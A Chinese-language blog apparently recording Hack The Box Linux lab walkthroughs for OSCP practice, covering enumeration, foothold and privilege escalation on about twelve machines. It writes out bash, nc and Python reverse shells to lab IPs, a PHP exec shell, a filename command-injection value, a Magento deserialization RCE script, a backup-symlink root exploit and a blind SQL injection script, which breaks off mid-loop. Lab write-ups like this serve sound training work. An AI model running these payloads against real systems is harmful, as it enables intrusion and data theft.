目前先不关靶机毕竟我写入了一个反弹shell的bat文件再等等如果不行再关这个靶场非常非常难做完之后在回顾发现貌似可能也就那样但是在漫无目的的利用的时候完全没这种思路就比如有些目录得需要一直翻攻击链证据链都很完善但是它太难了并且这次尝试中没有搭建任何隧道全是靠内部原生命令横向的但是也没那么麻烦只要拿到DC01的权限就能一直横这个靶场作为学习非常有用

到此为止还有3个靶场但是我不打算做下去了一方面是已经报名了OSCP 该去打labs了还有一方面是做了这么多越到后面越感觉吃力一个靶场我可能得需要一到两天我打算先去试试OSCP labs的难度

Hack The Box：Linux 靶机笔记

Sun, 10 Nov 2024 15:15:00 +0800

这里包括大部分hackthebox关于oscp的靶场大部分都是按照个人思路来的

1.sense

信息收集:

(关机了大致如下)

在https://10.10.10.60/system-users.txt 找到了密码

默认账户/密码为 admin:pfsense

当前的账号密码则为 rohit/pfsense

whatweb没有扫到指纹在源码页面查找sense 找到了框架为 pfsense 所以才有这一系列操作

登陆成功主页有版本 2.1.3-RELEASE

漏洞利用出现问题

源码无法直接使用更改源码构造payload

大概率挂了ssl所以访问报错得手动访问就行将cookie放到代码里改代码就行了得有点python基础

访问直接反弹shell 关机了没截图

两个flag:

/home/rohit/user.txt

/root/root.txt

入门难度

2.Nibbles

信息收集:

先简单扫描一下

指纹

找到默认口令

admin/nibbles

kali下有个默认msf利用脚本针对oscp来说一般不使用msf脚本

找到了一个github脚本并且根据该漏洞描述也可以自己构造脚本

https://github.com/dix0nym/CVE-2015-6967

读了下代码主要是从admin.php?controller=plugins&action=config&plugin=my_image 传文件

然后并访问执行写一个弹shell的php即可

<?php exec(“bash -c ’exec bash -i >& /dev/tcp/10.10.16.19/9999 <&1’”);?>

收到了nibbler的shell

http://10.10.10.75/nibbleblog/content/

目录穿越点不用再读下面文件了直接找配置文件 nibbleblog 加权了不让读

发现三个点最明显的利用应该是最下面的那个但还是挨个来

先生成一个tty

python3 -c ‘import pty; pty.spawn("/bin/bash")’

我们不知道密码这一条暂时放下

.nano没有任何东西咱们直接去最后一条

直接提权就行

提权完成也是入门级别主要是熟悉各种操作吧

3.solidstate

已完结借用一下别人的图有部分思路有问题

信息收集：

80端口只找到一个发邮件的界面，翻了半天没东西。

nntp和james-admin 没了解过

smtp不太可能需要登录因为不需要发邮件侧重点当时放到了 pop3

测试出来webadmin@solid-state-security.com这个邮箱貌似存在但是密码不知道大部分时间放到了找pop3 webadmin@solid-state-security.com 的密码上了

后续找到漏洞利用

修改脚本执行成功但是根据描述需要有人登录ssh才能执行我放入的命令而我放入的命令是反弹shell的

所以这一条并不能行得通

这里遇到第一个盲点 4555端口的 james remote admin

在读刚刚那个python脚本时发现了他最开始定义了一个 root/root 的口令

并且脚本的顺利执行是离不开这个弱口令的也就是说 4555端口它通过这个账密登陆成功了

直接telnet 4555 执行命令的截图不见了大致如下输入账号密码直接help

他会出现很多命令其中可以看账户而账户你可以改密码然后登录pop3 看收到的邮件的全部把密码重置即可

挨个看即可

最后在mindy的号发现了密码

pop3基础命令网上都有

这里有了一个立足点，下面就该提权了，提权也犯了个错误看了一下老外的wp

登陆成功，一个小插曲，之前不是提到了反弹shell需要有人登陆吗，刚好另一个接收到了

取消监听就行了

rbash逃逸用的是这个写的很详细

https://xz.aliyun.com/t/7642?time__1311=n4%2BxnD0DyDuDgDfxGqP05fbWDO8ipm4eG%3DKQO4D

ssh mindy@10.10.10.51 -t “bash –noprofile”

提权遇到了很多问题

我的思路是sudo开始走但是发现sudo用不了 su切换用户不知道root密码

看看suid发现也没有 cron也看了下基本常规提权没有任何东西

后续找文件只找到个 /opt/tmp.py 这个文件非常可疑我当时没发现有什么联动这个文件我就写个os.system(“id”) 看一下权限我没找到这个文件是不是计划任务

很明显他只可能是当前用户权限但我确实我没找到他是不是计划任务

debian9 4.9.0-3-686-pae 也完全没有提权漏洞

我已经将目光放到了用户目录下的 /bin/ 下面了因为下面也是 777权限也是root的但是实际上我无法用sudo

最后看了wp才发现 /opt/tmp.py 是计划任务我翻了几个他们是利用 pspy 或者 https://linpeas.sh/ 发现的

写个弹shell的就行

实际上这些脚本我都收集过但没有一个利用的习惯只能说思路还是有问题也算是优化了一下思路把

4.Node

信息收集:

从web开始看 node.js开发的找到几个用户名可以记一下

翻了下js文件翻到两个接口

http://10.10.10.58:3000/api/users/

http://10.10.10.58:3000/api/users/latest

在访问主页时，为什么这三个人会显示慢点，我一开始以为ajax的图片加载慢，没想到还有这一出

这个地方其实有个工具能够快速找到 jsfinder 但是oscp一般不允许使用这种自动化的脚本所以我目前是手动翻的

只有最后一个没跑出来

myP14ceAdm1nAcc0uNT manchester

tom spongebob

mark snowflake

挨个登录ssh和网页看看

只有管理员可以下在backup 实际上前端js里也有这个接口但是加了鉴权 /api/admin/backup

backup文件base64解开之后发现为二进制文件用了很多方法都没解开

最后发现这个是zip文件

base64压到文件里然后zip解就行了

app.js里有mongodb的密码 ssh可以直接连

mark:5AYRft73VtFpc84k

这次先把脚本传上去提权，没有任何常规提权，看了下内核找到了exp 这个是最符合的了

传上去编译执行即可获得root权限

5.valentine

信息收集:

dev目录中找到个有意思的文件解开后如下

有一个aes加密的密钥还有一个rsa私钥感觉可能是连接ssh的根据名称来看应该是叫 hype 先试试看

好吧找我们要key的密码

rockyou都没有密码感觉网页里面还有东西

根据他的笔记内容来看应该有个东西要解开确保解码编码在客户端完成在上线之前先修复这个完成之前不要使用任何解码编码器

说实话看的云里雾里的我将想法放到图片上可能是技术问题我发现这个图片啥都没有

我将希望放到目录爆破上这个速度是真的慢但是后面还是看到了几个加密的php文件

其实这里我忘了最重要的一步有时候重要的提示可以手动测试目录的

实际上这玩意啥都没有没有任何思路了

后续只能看了下wp 发现了一个从来没有学习过的点在nmap中扫描 –script vuln

会扫描漏洞而提到的漏洞中存在一个 Heartbleed 这个我完全没了解过算是扩展了思维

https://stackabuse.com/how-to-exploit-the-heartbleed-bug/?ref=benheater.com

# This is the packet that triggers the memory over-read.

# The heartbeat protocol works by returning to the client the same data that was sent.

# That is, if we send “abcd” the server will return “abcd”.

# The flaw is triggered when we tell the server that we are sending a message that is X bytes long

# (64 kB in this case), but we send a shorter message; OpenSSL won’t check if we really sent the X bytes of data.

# The server will store our message, then read the X bytes of data from its memory

# (it reads the memory region where our message is supposedly stored) and sends that read message back.

# Because we didn’t send any message at all

# (we just told that we sent FF FF bytes, but no message was sent after that)

# when OpenSSL receives our message, it won’t overwrite any of OpenSSL’s memory.

# Because of that, the received message will contain X bytes of actual OpenSSL memory.

这个讲的非常详细，可以了解一下大概逻辑，告诉他我发送了多少个字节，但实际上我们并没有发送，他还是会将字节返回，并且我们并没有发送任何信息，他则会将服务器内存的隐私的信息发回。

kali下有多个脚本测试一下看看

读了一下脚本用法非常简单还可以自定义端口

重启一下靶机主要是因为nmap以及目录爆破工具跑的太多导致重要信息全不见了看了半天ua头全是nmap的

循环了几次发现根本找不到写了一个脚本最后找到了关键的text

解码为 heartbleedbelied

又是一个新问题 google看看

终于拿到了立足点开始提权

第一件事还是sudo看看常规提权，但是没有密码所以用不了，开始探索文件，第一件事上传LinEnum.sh以及pspy

开始探索发现这个linux版本很低有对应的漏洞于是开始打exp

ubuntu 12.04

找到了很多exp 都不行

便开始探索文件历史命令有很多有意思的东西

tmux -S /.devs/dev_sess

执行了一下直接提权root了

了解一下为什么

这个文件加了hype用户组且给了读写权限所以能直接使用这个套接字文件进行通信

这里其实也看到了

定义的难度为初级对于我而言差不多偏中了主要是没有nmap的思路

6.Poison

信息收集:

80端口有个文件包含点

这个地方能利用的非常多首先可以任意文件读取然后有phpinfo的信息还有个暴露了密码

用户密码都有了可以登陆成功

再回过头看看刚刚的文件包含远程代码执行被禁用了

但是还可以将php代码写到他的log里面然后包含log其实也能弹shell

但是他的用户权限好像太低了

这里直接登陆吧

全都翻了一遍看到一个有意思的东西他的shell是cshell 其次有一个secret.zip 这个文件需要密码

用nc传到kali john跑一下rockyou

没跑出来

结果密码就是登录密码 Charix!2#4%6&8(0

啥也没有我没看懂这是啥东西但能确定的是他是个二进制文件

传脚本开始收集一些有意思的点

计划任务：root运行 5分钟跑一次 /usr/libexec/atrun

这个配置文件里也啥都没有

实际上到这发现没有任何常规提权了看看内核

内核也没啥漏洞

只能看wp了全都看了卡住的这一步发现都是通过vnc提权的知道入口点之后开始探索

确实是开了vnc 但是为什么要利用vnc呢？我的理解就是vnc有个什么账密可以找到目前vnc架设于本地得做端口转发

关了防火墙也不行因为他是架设在127.0.0.1上的

因为ssh是通的直接用ssh做转发

ssh隧道：https://wangdoc.com/ssh/port-forwarding，https://harttle.land/2022/05/02/ssh-port-forwarding.html

ssh -L 8081:localhost:5901 charix@10.10.10.84

搭好隧道后引入之前解压的文件

vncviewer -passwd secret 127.0.0.1:5901

这个是vnc的密码文件

并且这玩意可以解密 https://github.com/jeroennijhof/vncpwd

到此就结束了后续的越来越难了主要是学习下思路吧端口转发不一定要用ssh 只是他很方便

最后回顾看wp其实还发现没注意到的点 phpinfo条件竞争

https://github.com/vulhub/vulhub/tree/master/php/inclusion

7.TartarSauce

信息收集：

只有一个80端口就不贴图了

现在是补填所以有些配置可能有些奇怪

这个页面没有任何东西后续通过robots和目录爆破发现了几个地方

http://10.10.10.88/webservices/monstra-3.0.4/admin/ 弱口令admin/admin

但是实际上他禁止了修改文件无法上传任何文件找到的exp都打不通这里我浪费了很多时间才发现是个Rabbit Hole

我看了下 gobuster 还有个wp的目录

这个是wordpress 找到一个 wpadmin的用户但是密码爆不出来

笔记写的很少但是实际上这条路是通的我才记录了下来操作中遇到了很多误区一直在找

最后wordpress这条路一直走不通去看wp 我的wpscan根本扫不到漏洞利用点包括nmap的脚本也扫不出利用点最后利用wpscan加线程才能在20分钟扫完速度太慢了接下来继续

目前我是看到卡的地方实在是没办法了看下一步wp 这里主要是 gwolle-gb 插件有一个远程文件包含的漏洞可以拿到立足点而翻了大部分人的这一步都是wpscan加 –plugins-detection aggressive 也就是全面扫描才可以扫出来我使用的时候需要3个小时后面加了线程缩短到了20分钟

wpscan –url http://10.10.10.88:80/webservices/wp -e ap –plugins-detection aggressive -t 50

nmap

https://nmap.org/nsedoc/scripts/http-wordpress-enum.html

https://nosec.org/home/detail/2844.html #收集插件

这里也是出结果了挨个看插件

找到了关键点了完善了攻击链接下来找exp

拼接就行挂个反弹shell的脚本

根据他的描述和我自己遇到的情况那个url它会在后面拼接一个 wp-load.php

构造文件名称即可

开始提权先做信息收集

简单收集了一下根据所得到的信息基本上就是 sudo tar越权到 onuma了

试试看

生成一个tty

在运行一次脚本做一下信息收集

.nano的历史记录find了一下没有

根据mysql的history 尝试连接一下数据库但是很可惜连不上去

但是pspy帮我发现了一个有意思的东西

跟刚刚那个mysql的history里的东西一模一样

我去查了一下

很明显上面那些都是计划任务但是权限不够并没有给我显示出来

(结束翻wp发现locate可以看到多久运行一次当然find也可以看到但是当时没那个思路至少方向是对的)

赋予的权限导致我没有搜索到他看看内容是啥

全部读了一遍所有的变量都写死了无法进行替换

也就是他会以root的权限将这个备份文件移到 $tmpfile 这个变量目录里我们需要伪造 $tmpfile的压缩文件

不存在条件竞争的问题因为他延时了30秒

根据变量描述它需要对比

/var/www/html

/var/tmp/var/www/html

也就是不同的情况下返回1他会报错相同则会返回0

实际上我们需要操作的很简单

而tmp随意更改写一个文件替换tmp压缩好的文件 tmpfile变量为 /var/tmp

而下面有很多文件 pspy看进程运行的时候直接开始替换即可

编写bash 如果没问题的话赋予它权限执行将会反弹shell 写成su root应该也可以

打包成文件根据basedir的目录结构应该要有/var/www/html

打包成111

出现的时候直接替换掉成功弹出 check

但是 1.sh的权限还是onuma？并且解压完变成了二进制文件啥都不见了

这一步存在很大的问题首先是里面被弄错了变成了二进制文件乱码还有就是权限不对

linux有个特性我在kali上给他配好权限再打包给靶机靶机解压后还是我在kali上的权限

于是我打包了个rwsr-sr-x的权限的bash文件传了上去

权限在靶机上没问题但还是执行失败后续查了资料了解到

在 Unix/Linux 系统中，SUID（设置用户 ID）对于二进制可执行文件和脚本的行为可能不同。通常，许多现代 Linux 发行版对 SUID 脚本有额外的安全限制，以防止潜在的安全风险。这意味着即使设置了 SUID，脚本可能仍无法以预期的方式执行，从而导致它们以普通用户身份运行。

有的时候suid提权可以直接提或者 sudo提但现在明显不行

所以还是必须使用sudo去执行也就是说二进制文件才可以不用sudo 而这种bash脚本依然需要sudo

这里必须传上去一个二进制文件了

1
2
3
4
5
6
7
8
9



```c

#include &lt;unistd.h&gt;
void main() {
execl("/bin/bash", "bash", "-p", NULL);
}

```text

目标机器是32位的

gcc 1.c -o 1 -m32

打包完传上目标机器

还是报错有点扯

gcc -static -m32 -o 1 1.c

至此终于结束了有意思的是我看到一个wp 他的思路很好

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


#!/bin/bash

# work out of shm
cd /dev/shm

# set both start and cur equal to any backup file if it's there
start=$(find /var/tmp -maxdepth 1 -type f -name ".*")
cur=$(find /var/tmp -maxdepth 1 -type f -name ".*")

# loop until there's a change in cur
echo "Waiting for archive filename to change..."
while [ "$start" == "$cur" -o "$cur" == "" ] ; do
 sleep 10;
 cur=$(find /var/tmp -maxdepth 1 -type f -name ".*");
done

# Grab a copy of the archive
echo "File changed... copying here"
cp $cur .

# get filename
fn=$(echo $cur | cut -d'/' -f4)

# extract archive
tar -zxf $fn

# remove robots.txt and replace it with link to root.txt
rm var/www/html/robots.txt
ln -s /root/root.txt var/www/html/robots.txt

# remove old archive
rm $fn

# create new archive
tar czf $fn var

# put it back, and clean up
mv $fn $cur
rm $fn
rm -rf var

# wait for results
echo "Waiting for new logs..."
tail -f /var/backups/onuma_backup_error.txt

读了下代码

获取到那个文件夹里前面带.的文件然后写死死循环判断如果他的文件列表没有任何变化那就接着死循环如果变化了将cur赋值将目标文件移到上面定义的工作目录解压然后删掉robots.txt 将其替换为 /root/root.txt的ln链接移动文件并改名删除临时文件

至于为什么onuma_backup_error.txt有flag 全在 backeruperer中

errormsg定义的是这个文件

integrity_chk函数调用的diff -r 会将所有目录和文件进行比对在遇到不同的地方也会输出

这里他将错误信息写入了errormsg 而他就是刚刚的onuma_backup_error.txt

所以才能获取到flag

这个脚本思路非常清晰我都感觉是作者写的了

这一个靶机从下午到晚上踩了非常多的坑只能说还没考试学到了很多东西考试中踩这些才是最致命的

8.Irked

信息收集：

1.ssh可以连一下看看有没有提示

2.80端口可以看一下

3.irc忘了去搜了一下发现之前用过https://en.wikipedia.org/wiki/IRC hexchat 是一个聊天的工具而他开了6697默认端口 8067 65534这几个端口版本为UnrealIRCd 还有管理员的邮箱

4.ircbind https://blog.csdn.net/ichen820/article/details/120365560 这一篇写的不错跟nfs有关但是nfs的端口没有开放

全看了一遍

ssh没有东西 80有个manual页面也没爆破出什么东西

看了一下irc hexchat启动即可

查看列表没有任何东西所有端口都看了一遍同一个服务

现在爆破80的同时看看框架漏洞只有UnrealIRCd这个有框架漏洞

读了下代码填参数就行 perl脚本理解不是很困难

自带的几个网址都不行了自行构造payload就行

bash -c ’exec bash -i >& /dev/tcp/10.10.16.19/9999 <&1'

三个端口都打了payload没有一点效果后续找了半天啥都找不到了实在是没办法了

看了下wp就是打这个payload 又去尝试了又不行

后面才知道都是手动打或者自己写脚本就是打不上去脚本有bug

有时候打exp打不上不去简单的可以自己手动构造

算是学会了不能用自带的了其实还有个msf的exp 但是oscp最好不用这个

开始读一下代码吧看看怎么手动构造

在这一块 tcp协议socket连上目标ip/port 连接失败会报错

成功后在调用socket发数据也就是之前的payload 尽量不动一下他的payload 前面加个AB; 就行

成功上来了

他这个太卡了 perl脚本写的是连上了就打exp 咋可能直接能执行得等等所以我感觉是太卡的原因我加了个sleep其实还能用

果然

还是没分析到位

这里浪费了很多时间构造exp的作者应该没考虑这个

现在开始提权先多开个shell

bash -c ’exec bash -i >& /dev/tcp/10.10.16.13/6666 <&1’ > cmd.out 2>&1 &

翻了当前目录下所有的conf文件没找到有用的信息

家目录还有个 djmardov 大概率要越权到这个用户

根据版本找了个exp 打了没效果

LinEnum.sh没有任何东西就不放图了

pspy32也没有有意思的东西

有意思的常规提权 su用不了 sudo不存在根据su的提示我们得通过终端登录我的大致思路就是写私钥看看行不行了

配置没问题可以写

生成一对公钥私钥

改名字把公钥传到服务器上就行名称必须为默认的 authorized_keys

结果连不上去调试了一下看看

版本问题重新生成密钥对

ssh-keygen -t rsa -t ed25519 -f ./new_temp

成功上来了

ok了现在还需要密码才行

最终翻到了这个

user.txt访问不了他的指向也是上级目录的 user.txt

根据提示 steg 刚开始的时候我尝试过用这个去访问大图但是不行这次再试试

没密码没东西就没管

找到密码了

LinEnum.sh发现了一个没见过的服务而且带s权限

伪造文件没问题 root权限

到此就结束了其中工具类的都没任何难度因为都会用还是思路得优化一下在这种靶场上所有的信息都得收集但有的时候信息收集太多了会导致觉得哪处都有问题还是得在细心点

9.FriendZone

信息收集:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum:
| /wordpress/: Blog
|_ /robots.txt: Robots file
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
139/tcp open netbios-ssn
443/tcp open https
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
445/tcp open microsoft-ds

全都测完了下面写结论

21没有匿名登录没有入口点

22没有入口点

53dns服务器后续可以测域名什么的在oscp这种上每一个服务都有它的作用

80里面有个空的wordpress 有一个域名 friendzoneportal.red

139/445 samba服务可以连一下看看

443 https服务没有任何东西

samba中存在一个未授权共享的文件里面的内容如下

1
2
3


creds for the admin THING:

admin:WORKWORKHhallelujah@#

这个密码 ssh ftp samba都没用

刚刚收集到了一个域名清楚了后缀加hosts

friendzoneportal.red

没东西 dns服务器能帮我们查一下直接发起请求

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


dig @10.10.10.123 friendzoneportal.red AXFR
这个命令会返回整个 DNS 区域的记录，包括所有的 A、AAAA、CNAME、MX 等记录，以及子域名的信息。

; <<>> DiG 9.18.12-1-Debian <<>> @10.10.10.123 friendzoneportal.red AXFR
; (1 server found)
;; global options: +cmd
friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
friendzoneportal.red. 604800 IN AAAA ::1
friendzoneportal.red. 604800 IN NS localhost.
friendzoneportal.red. 604800 IN A 127.0.0.1
admin.friendzoneportal.red. 604800 IN A 127.0.0.1
files.friendzoneportal.red. 604800 IN A 127.0.0.1
imports.friendzoneportal.red. 604800 IN A 127.0.0.1
vpn.friendzoneportal.red. 604800 IN A 127.0.0.1
friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 660 msec
;; SERVER: 10.10.10.123#53(10.10.10.123) (TCP)
;; WHEN: Mon Sep 30 08:07:05 EDT 2024
;; XFR size: 9 records (messages 1, bytes 309)

admin.friendzoneportal.red 可以登录

再回去看标题 friendzone.red 还有东西

administrator1.friendzone.red 可以登陆成功里面有一些东西

他这个后面看了一下其实是一个php文件在本地的所以才能调用很明显的lfi

开始测试

因为刚刚加了名称就能访问说明后面大概率加了个.php 因为我访问/etc/passwd 什么都访问不了 php伪协议看一下源码

后面的确会跟个.php

其他的也读了一下没什么有用的现在只缺一个写入文件的操作但是能写入php文件的情况下貌似也用不到这里

看了下 uploads.friendzone.red 一直提示上传成功缺啥都没有

直接读了代码看看

怪不得

明明到这一步了应该没啥问题了只差一个写文件的权限我突然想到了ftp可以写文件而且最主要是 samba有一个可写的目录

ftp没有账密没办法但是samba是可以的

传上去了根据下图猜测估计在/etc目录下

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/1

终于拿到了立足点

再做信息收集:

1
2
3
4
5
6
7


for development process this is the mysql creds for user friend

db_user=friend

db_pass=Agpyu12!0.213$

db_name=FZ

这一步开始还没有上传脚本跑找到了friend的mysql密码

并且发现home里面存在一个friend的用户

直接su不行生成一个tty 可以su切换到friend

python -c ‘import pty; pty.spawn("/bin/bash")’

sudo -l用不了 ssh直接连就行

好吧看错了他的意思是friend不能用sudo 给ban了

我还以为常规提权就结束了直接传脚本上去扫一下吧

1
2
3
4
5
6
7
8


root 596 0.0 0.3 28676 2964 ? Ss 09:12 0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
-rwxr-xr-x 1 root root 1232 Apr 19 2018 console-setup.sh
-rwxr-xr-x 1 root root 3809 Feb 15 2018 hwclock.sh
-rwxr-xr-x 1 root root 1479 Feb 16 2018 keyboard-setup.sh
-rw-r--r-- 1 root root 685 Jan 28 2018 resolv.conf
-rw-r--r-- 1 root root 42 Jun 27 2018 apache2-systemd.conf
-rwxr-xr-x 1 root root 92 Feb 22 2018 hdparm
-rw-rw---- 1 friend mail 1 Jan 15 2019 friend

确实没啥东西看一下进程把目前发现的一些提权都是计划任务而我是看不到的看进程能看到

真有计划任务

都注释了但是提到了一个stmp发邮件的服务

也看到了user为you pass为PAPAP

收集完接着搜其他东西发现了个很有意思的东西

基本上能确定了引用os.py 会触发os里面的main函数这个之前写代码的时候遇到过非常多直接往里面加东西就行 os.py底层调用的是 posixmodule.c 而在这个文件内没有system函数直接找python反弹shell的脚本就行写在主函数自然会调用

找到的都带os 找个不带os的就行

找脚本花了很多时间但最后还是找到了

1
2
3
4
5
6
7


import socket
import subprocess
import pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.16.13", 6666))
s_dup = s.fileno()
subprocess.call(["/bin/sh"], stdin=s_dup, stdout=s_dup, stderr=s_dup)

成功弹回shell

至此终于结束了这里也学了很多思维多打打就行了

10.SwagShop

信息收集:

明显是个cms框架第一时间search一下并且找目标版本同时看看有没有默认口令

这些exp没搜到接口所以打不了

目录爆破发现一个有意思的地方

只要是传上去的session都会被记录下来我先进行爆破看看有没有历史的session能登陆的

其实还有个办法只要我一直不动网站目标网站后台如果有定时任务他自然会自动登录我就一直刷新不带cookie 然后看看最近的cookie是哪个就行

完全没有就看定时任务有没有session传上来了等10分钟左右看看吧

还是没有任何定时任务

但是这个session文件是可以打开的直接爆破session文件去看看里面的内容只要不是我的ip就行挨个筛选

剩下的其实还有很多就不列举了

这里面有大量的cookie和接口但是我利用这些cookie包括ua都换了就是访问不到

这个cookie我在想是不是失效了但是我发现他的session可以记录之前访问过的东西同时我发现了这个

自己随便登录一次看看他是怎么记录账密的

完全无法登录

搜哈希的时候扫到了一篇报告而这个路径跟我searchsploit的那个脚本很相似

这篇文章是15年写的当时这个漏洞还算是0day

https://blog.sucuri.net/2015/04/magento-shoplift-supee-5344-exploits-in-the-wild.html

我感觉就是处处提示要打exp 但是实际上我并不清楚这个cms的具体版本

就是这个poc 遗忘了这个思路如果没有找到版本信息实际上可能是字典不够强可以直接尝试nday

成功了这个脚本有bug

把没注释的删掉自行加个域名就行而且还有一点很重要就是必须要在后面加个index.php 才能进行引用不然路径索引不到的

终于进后台了

其实这里我还有个代码执行的脚本 37811 当时search的时候找到的缺账号密码所以不能登录现在修改下代码看看能不能getshell

这个脚本问题出现在这他这样请求根本拿不到key 他的思路是之后使用找到的url路径加上key 直接进后台我们将前面登录的全删了把key和url传给他就行

太难搞了只能做代码审计最后终于搞完了

登陆成功需要的两个值在这主页

就在主页

第二个值也在主页切换抓包就行

更新一下日期

构造payload的类型会卡死的必须为a bytes-like object 而不是 str 在原有的代码上改就行所以只能在python2上构造

其实把

这里删掉就行代码的运行失败全因为这里没有登陆成功导致后续失败删掉全改好直接运行即出结果

我调试这个脚本花了非常多的时间一开始从没用过 mechanize 并且直接复用python3的话他的正则表达式要重新写如果单纯的自行把需要的参数直接加进去他也会报错很扯淡

特别是最后一步必须python2发包加密因为生成base64的时候 python2和3还不一样

其实全部看完之后到现在成功执行最简单的方法就是自行去找 tunnel 参数非常简单

而payload这一块自行加参数让他本地生成就行然后只用拼接url 自行访问

下面这个脚本加参数可以直接获得exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


from hashlib import md5
import sys
import re
import base64
import mechanize
arg = "whoami"
php_function = 'system' # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000' # This needs to be the exact date from /app/etc/local.xml

# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
 '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
 'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"' \
 'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00' \
 '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
 ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
 len(arg), arg)

tunnel = "http://swagshop.htb/index.php/admin/dashboard/tunnel/key/cfd2660c391a49a2ee56a96ffe8300f0/"
payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()

exploit = tunnel + '?ga=' + payload + '&h=' + gh
print exploit

arg是你想执行的命令

install_date是/app/etc/local.xml 这地方的

tunnel 获取到之后只留住key 后面全删

直接访问出来的exploit那个网址就行了

测试了bash反弹shell不行用了nc弹了回来

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

外网打点这一块对代码审计的要求有点高

提权信息收集：

本来以为要提权到haris 看到了sudo -l 一眼常规提权

sudo /usr/bin/vi /var/www/html/api.php

直接输入 :!/bin/sh

总体来说难点在于他那个cms不是很难而是难在太老了得自己去改脚本做代码审计而且他那些写的一开始我觉得写的抽象但是后面一看写的确实没问题只是要判断的太多了这个大部分时间浪费在外网打点上了

11.Networked

信息收集:

直接说结论吧没有什么东西主要是代码审计

三个文件基本上都审完了全读完了完全没有发现任何漏洞只发现一点就是他的文件命名方式很有特色

审完了依然没东西后续只能看wp 有点炸裂

https://stackoverflow.com/questions/78705237/file-upload-bypass-mechnisms-in-php

https://dev.to/giannisftaras/file-upload-bypass-using-mime-type-4ej0

https://techyzilla.blogspot.com/2012/07/injecting-malicious-php-in-to-an-image-file.html

不知道是靶场太老了还是咋样这种绕过方式我是第一次见

但是实际上它是有提示的

遇到明显的接口函数提示直接搜漏洞

只能说又学到了上面那几个网址介绍的结论就是

你只需要对代码侧进行欺骗，上传个php.gif的文件，然后内容包含php内容，服务器端就会自动解析为php代码

很扯淡

直接弹shell把

开始提权信息收集

到家目录发现一个明显的提权点

每3分钟执行的计划任务权限应该是guly 可以传pspy32看看但是没必要

他会传入一个value的值而这个值是可以加到exec里的

也就是拼接命令就行 nohup /bin/rm -f $path$value > /dev/null 2>&1 &

path都知道是/var/www/html/uploads/ 而value是下面的一个文件

我们在uploads下面touch “1;nc -c sh 10.10.16.13 6666 &”

这样他会弹一个shell回来

没有问题

常规提权去看看这个文件是啥

看了一遍找不出啥问题根据配置名称直接google

https://seclists.org/fulldisclosure/2019/Apr/24

在NAME那直接切换用户看看

结束刚开始以为是纯代码审计搞了半天没想到这种靶场还是更偏向于漏洞利用和搜索能力后续遇到提示或者框架啥的第一时间要先搜payload

12.Jarvis

信息收集：

不能开扫描吧不然要被封

两个域名加到host里

加了域名貌似没什么不一样再看看

貌似不对64999进行攻击就不会被封我开了目录爆破也没事这个封禁机制很奇怪可能是nmap的一些操作导致的

找到个很明显的注入点 oscp要求不能使用sqlmap等等工具这里手测就行

目前不知道绝对路径测了一下当前用户非root 也不清楚有没有写入权限也不知道绝对路径

这一系列因素导致无法写shell 但是我发现了一个phpmyadmin

http://supersecurehotel.htb/phpmyadmin/index.php

这种时候思路就很清楚了直接获取当前用户账号密码登陆进去看看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


import requests

headers = {
 'Host': '10.10.10.143',
 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
 'Accept-Language': 'en-US,en;q=0.5',
 'Accept-Encoding': 'gzip, deflate',
 'Connection': 'close',
 'Cookie': 'PHPSESSID=2c1jempek07j9n0fdtce3bcgn7',
 'Upgrade-Insecure-Requests': '1'
}

a = open('2.txt','r',encoding='utf-8').readlines()
print("start")
for number in range(1,18):
 for i in a:
 temp = i.replace('\n', '')
 url = f"http://10.10.10.143/room.php?cod=1%20and%20substr((SELECT%20User%20FROM%20mysql.user),{str(number)},1)=%27{temp}%27--+"
 response = requests.get(url=url, headers=headers)
 if response.status_code == 200 and len(response.text) > 6200:
 print(temp, end='', flush=True)
 break

a = open('3.txt','r',encoding='utf-8').readlines()
print("start")
for number in range(2,1000):
 for i in a:
 temp = i.replace('\n', '')
